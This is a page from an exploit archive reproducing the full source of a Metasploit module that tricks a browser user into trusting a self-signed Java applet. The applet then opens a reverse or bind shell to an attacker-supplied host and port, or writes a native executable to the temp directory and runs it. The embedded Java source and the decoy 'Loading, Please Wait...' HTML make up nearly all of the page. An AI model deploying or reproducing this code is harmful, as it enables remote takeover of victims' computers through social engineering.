what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Signed Applet Social Engineering Code Exec

Signed Applet Social Engineering Code Exec
Posted Feb 5, 2010
Authored by natron | Site metasploit.com

This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it to a .jar file, then signs the .jar with a dynamically created certificate containing values of your choosing. This is presented to the end user via a web page with an applet tag, loading the signed applet. The user's JVM pops a dialog asking if they trust the signed applet and displays the values chosen. Once the user clicks 'accept', the applet executes with full user permissions. The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload created for the CVE-2008-5353 java deserialization exploit. This Metasploit module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set. If these dependencies are not present, the exploit falls back to a static, signed JAR.

tags | exploit, java, web
SHA-256 | 0a321c211183360c45f28f1eaba94bc547072aaead47439126cfa5aa2eeea4a3

Signed Applet Social Engineering Code Exec

Change Mirror Download
##
# $Id: java_signed_applet.rb 8328 2010-01-29 19:47:40Z natron $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Java

def initialize( info = {} )

super( update_info( info,
'Name' => 'Signed Applet Social Engineering Code Exec',
'Description' => %q{
This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it
to a .jar file, then signs the .jar with a dynamically created certificate containing
values of your choosing. This is presented to the end user via a web page with an applet
tag, loading the signed applet.

The user's JVM pops a dialog asking if they trust the signed applet and displays the
values chosen. Once the user clicks 'accept', the applet executes with full user
permissions.

The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload
created for the CVE-2008-5353 java deserialization exploit.

This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.
If these dependencies are not present, the exploit falls back to a static, signed
JAR.
},
'License' => MSF_LICENSE,
'Author' => [ 'natron' ],
'Version' => '$Revision: 8328 $',
'References' =>
[
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],
],
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
# Generic java payload is mostly useless right now, as it kills as soon as the user browsers
# to another page. It should be rewritten to launch a new JVM in the background with a custom
# .class.
#
# Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via
# /bin/sh or cmd.exe
[ 'Generic (Java Payload)',
{
# This is a bad hack to force only the generic/shell_bind_tcp
# and generic/shell_reverse_tcp payloads
'Platform' => ['win'],
'Payload' => { 'Space' => 0 },
'Arch' => ARCH_CMD,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
# Not tested.
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
# Not tested.
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
# Not tested.
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),
OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]),

# Not implemented yet.
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),
], self.class)
end


def exploit
#
# Currently doing all processing in on_request_uri.
# If this is too slow, we can move applet generation up here.
#

@use_static = false

if not @jvm_init
print_error
print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
print_error
@use_static = true
end
super
end

def get_code(cli)

# I used to dump #{data} directly into the applet source, but there's a max size of 65k characters for constant Strings.
appletsource = %Q^
/*
*/

import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class #{datastore['APPLETNAME']} extends Applet
{

public void init()
{
try
{
String data = getParameter( "data" );
String lhost = getParameter( "lhost" );
String lport = getParameter( "lport" );

if( data == null ) {
data = "";
}

//System.out.println("Applet executing. Creating payload class.");

#{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} ();
//System.out.println("Payload class instantiated.");
site.data = data;

if( lhost != null && lport != null) {
site.lhost = lhost;
site.lport = Integer.parseInt(lport);
System.out.println("lhost: " + lhost);
System.out.println("lport: " + Integer.parseInt(lport));
}

//System.out.println("data: " + data);

site.run();
}
catch( Exception e ) { System.out.println("Applet error: " + e); }
}

class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction
{
// This will contain a hex string of the native payload to drop and execute.
public String data = null;
// If no native payload is set we get either a java bind shell or a java
// reverse shell.
public String lhost = null;
public int lport = 4444;

class StreamConnector extends Thread
{
InputStream is;
OutputStream os;

StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}

public void run()
{
BufferedReader in = null;
BufferedWriter out = null;

try
{
in = new BufferedReader( new InputStreamReader( is ) );
out = new BufferedWriter( new OutputStreamWriter( os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }

try
{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
}
}

// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
public byte[] StringToBytes( String s )
{
byte[] data = new byte[s.length() / 2];

for( int i = 0 ; i < s.length() ; i += 2 )
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );

return data;
}

public Object run() throws Exception
{
//System.out.println("Applet running...");

try
{
String os = System.getProperty( "os.name" );

// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
//if( #{datastore['PAYLOADNAME']}.data.length() == 0 )
if( this.data.length() == 0 )
{
//System.out.println("Applet thinks payload.data is empty.");
Socket client_socket = null;

String shell = "/bin/sh";

if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";

//if( #{datastore['PAYLOADNAME']}.lhost == null )
if( this.lhost == null )
{
//ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport );
ServerSocket server_socket = new ServerSocket( this.lport );
client_socket = server_socket.accept();
}
else
{
//client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport );
client_socket = new Socket( this.lhost, this.lport );
}

if( client_socket != null )
{
Process process = Runtime.getRuntime().exec( shell );

( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();

( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start();

( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
}
}
else
{
//System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" ));
String filename = Math.random() + ".exe";
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename;
//System.out.println(filename + " written.");

Process p;
FileOutputStream fos = new FileOutputStream( path );

//fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) );
fos.write( StringToBytes( this.data ) );

fos.close();

if( os.indexOf( "Windows" ) < 0 )
{
p = Runtime.getRuntime().exec( "chmod 755 " + path );
p.waitFor();
}

p = Runtime.getRuntime().exec( path );

p.waitFor();

new File( path ).delete();
}
}
catch( Exception e ) { System.out.println("Payload execution error: " + e); }

return null;
}

public void #{datastore['PAYLOADNAME']}()
{
try
{
AccessController.doPrivileged( this );
}
catch( Exception e ) { System.out.println("Payload instantiation error: " + e); }
}
}
}^
appletcode = { 'classnames' => [ datastore['APPLETNAME'] ] ,
'codefiles' => [ appletsource ] }

return appletcode
end

def on_request_uri( cli, request )

if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end

print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )

if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
host = datastore['LHOST']
port = datastore['LPORT']
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
else
port = datastore['LPORT']
datastore['RHOST'] = cli.peerhost
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
end
else
payload = regenerate_payload( cli )
if not payload
print_status( "Failed to generate the payload." )
return
end

if target['Arch'] == ARCH_X86
data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win'
data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'

elsif target['Arch'] == ARCH_PPC
data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
end

if data
print_status( "Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_status( "Failed to generate the executable." )
return
end
end

if not @use_static
appletcode = get_code(cli)

print_status "Compiling applet classes..."
compile( appletcode['classnames'], appletcode['codefiles'] )

print_status "Compile completed. Building jar file..."

unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
@signedjar = "#{datastore['APPLETNAME']}.jar"

build_jar( unsignedjar,
[ # Applet
datastore['APPLETNAME'] + ".class",
# PayloadX class
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
# PayloadX StreamConnector for pure Java payload
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )

print_status "Jar built. Signing..."

sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )

print_status "Jar signed. Ready to send."
else
print_status "Using static, signed jar. Ready to send."
end

# TODO: gzip data and parse in java
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
return
end

# load the jar file
if @use_static
path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
path = File.join( datastore['JAVACACHE'], @signedjar )
end

if path
fd = File.open( path, "rb" )
@jar_data = fd.read(fd.stat.size)
fd.close
end

print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." )
send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } )

handler( cli )

end

def generate_html( data, host, port )
html = "<html><head><title>Loading, Please Wait...</title></head>"
html += "<body><center><p>Loading, Please Wait...</p></center>"
html += "<applet archive=\"#{datastore['APPLETNAME']}.jar\" "
html += "code=\"#{datastore['APPLETNAME']}.class\" width=\"1\" height=\"1\">"

html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "<param name=\"lport\" value=\"#{port}\"/>" if port

html += "</applet></body></html>"
return html
end


end
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close